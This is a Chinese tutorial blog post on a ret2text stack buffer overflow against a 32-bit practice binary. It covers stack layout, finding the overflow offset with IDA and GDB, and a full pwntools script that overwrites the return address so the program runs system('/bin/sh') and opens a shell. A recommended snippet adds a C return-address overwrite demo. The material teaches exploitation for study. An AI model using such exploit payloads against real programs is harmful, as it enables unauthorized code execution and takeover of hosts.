堆栈认知——栈溢出实例(ret2text)

参考:栈溢出实例–笔记一(ret2text)
地址:https://qingmu.blog.csdn.net/article/details/119295954

1、什么是栈溢出?

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。

2、栈结构

在这里插入图片描述

3、栈溢出需要解决的问题

在我们知道什么是栈溢出以及了解了栈的结构之后,我们就可以开始通过栈溢出破坏栈结构。

在破坏栈结构的时候,我们需要注意两个问题:

1、如何跳转?

2、跳转到哪里去?

3.1、解决如何跳转的问题

在上面栈结构的图中,在当前栈帧中向栈中某个变量中写入值的时候,我们就可以写入超过了这个变量本身所申请的字节数,不断的往上覆盖直到其返回值地址的地方,从而到我们想要的地址的地方写入我们要写入的地址。

简而言之:我们调用完一个函数后,函数会返回,并执行下一个函数。我们就需要把这个返回地址覆盖成我们的shellcode,进而让函数执行我们的shellcode,从而拿到shell,控制其程序的目的。(在此文章中是返回到系统的system(“/bin/sh”)函数上)

实例如下:

1、首先我们准备一个二进制程序
在这里插入图片描述
这是一个32位的程序

2、我们通过IDA来看一下汇编代码
在这里插入图片描述
我们先反汇编一下
在这里插入图片描述
看到这个函数调用了puts和gets函数,并且其中的s并未做大小的校验。此时我们的思路就活跃了起来,s作为gets函数的参数,并且保存在栈上,我们就可以通过向s的地址中写入数据的时候覆盖掉栈的其他数据。

我们通过GDB实战一下:

我们先调试起来,让其运行到gets函数:
在这里插入图片描述
此时汇编在向下走我们就需要输入数据了,并且S的地址为0xf7ffd000,栈的第一个参数的地址为0xffffd41c, 此时我们来看一下栈的栈结构
在这里插入图片描述
此时在栈中,我们发现我们输入的数据是从eax开始的,那么我们从上面的栈结构的图中了解到,我们就可以不断向上覆盖到ebp,返回地址,参数等等。

我们实验覆盖到ebp。

ebp的地址为0xffffd488,eax的地址为0xffffd41c,ebp-eax=0x6c。

此时我们输入0x6c个a看看实际效果:

在这里插入图片描述
在这里插入图片描述
此时会发现我们精准的覆盖了ebp到eax之间的内容。

不相信的话我们在试试覆盖一下ebp试一下呢?

我们写入 0x6c个a+0x04个b试试看效果:
在这里插入图片描述
此时我们的ebp就被覆盖成了bbbb,此时我们就完成了如何跳转的问题了。

3.2、跳转到哪里去?

在上面我们解决了如何跳转的问题,那么跳到哪里去呢?

根据上面的栈结构,毋庸置疑肯定跳到返回地址的地方嘛,调到返回地址的地方,如果此时我们填上了我们准备好的shell code,那岂不是就可以执行我们的shell code,从而获取shell了。

这里先实验第一种方法(后续方式另写文章补充):
本身程序具有system函数

我们使用IDA看一下:
在这里插入图片描述
我们发现程序中有system函数,并且在0x0804863A这个地址会把“/bin/sh”传给system函数,此时我们的目标就明了了。

覆盖到返回地址为0x0804863A并执行system函数从而反弹shell拿到这个程序的控制权限

4、实战

我们实战的时候使用Python来编写脚本,为什么呢?

因为Python集成的有pwn库,用来做栈溢出非常的方便。

# coding=UTF-8
from pwn import * 

p = process("./ret2text")                   #指定程序
elf=ELF("./ret2text")                       # 加载ELF  为了pwn 可以解析./ret2text这个二进制文件                 
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")# 加载libc 
	

padding = 'a'*0x6c                          # 准备0x6c个a覆盖到ebp
fake_ebp= 'a'*0x4                           # 准备0x4个a覆盖ebp
retcode = 0x0804863A                        # 准备好需要覆盖的地址,也就是上述中传参给system的地址
payload = padding + fake_ebp+p32(retcode)    #把上述准备的字符串打包成payload
p.sendlineafter("do you know anything?\n",payload) #在二进制程序的do you know anything?打印之后也就是执行gets函数时传入我们准备好的payload
p.interactive() 

来试验一下看看效果:
在这里插入图片描述
此时我们就拿到了shell权限,通过这个二进制程序控制其主机。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
1. 堆栈溢出实例: ```c #include <stdio.h> #include <stdlib.h> void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 21; (*ret) += 8; } int main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; } ``` 上述代码中,`function` 函数中声明了两个缓冲区 `buffer1` 和 `buffer2`,它们的大小分别为 5 和 10 字节。在 `function` 函数中,我们试图通过 `(*ret) += 8;` 来修改返回地址,从而实现栈溢出攻击。运行此程序时,会发现输出结果为 1,也就是说攻击成功。 2. 如何在 Linux 中发现堆栈溢出问题? 在 Linux 中,我们可以使用 `gdb` 来调试程序,以检查是否存在堆栈溢出问题。具体步骤如下: - 编译程序时添加 `-g` 选项,以便在调试时可以获取更多的信息。 - 使用 `gdb` 打开可执行文件。 - 使用 `run` 命令运行程序,程序会在 `function` 函数中出现段错误并崩溃。 - 使用 `backtrace` 命令查看函数调用栈,可以看到 `function` 函数中的返回地址已经被修改。 - 使用 `info frame` 命令查看当前帧的信息,可以看到修改后的返回地址。 - 使用 `info registers` 命令查看寄存器的值,可以看到 `eip` 寄存器的值已经被修改。 - 使用 `x/20x $esp` 命令查看栈的内容,可以看到返回地址已经被修改。 通过以上步骤,我们可以发现程序存在堆栈溢出问题,并进一步分析和修复这个问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

行稳方能走远

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值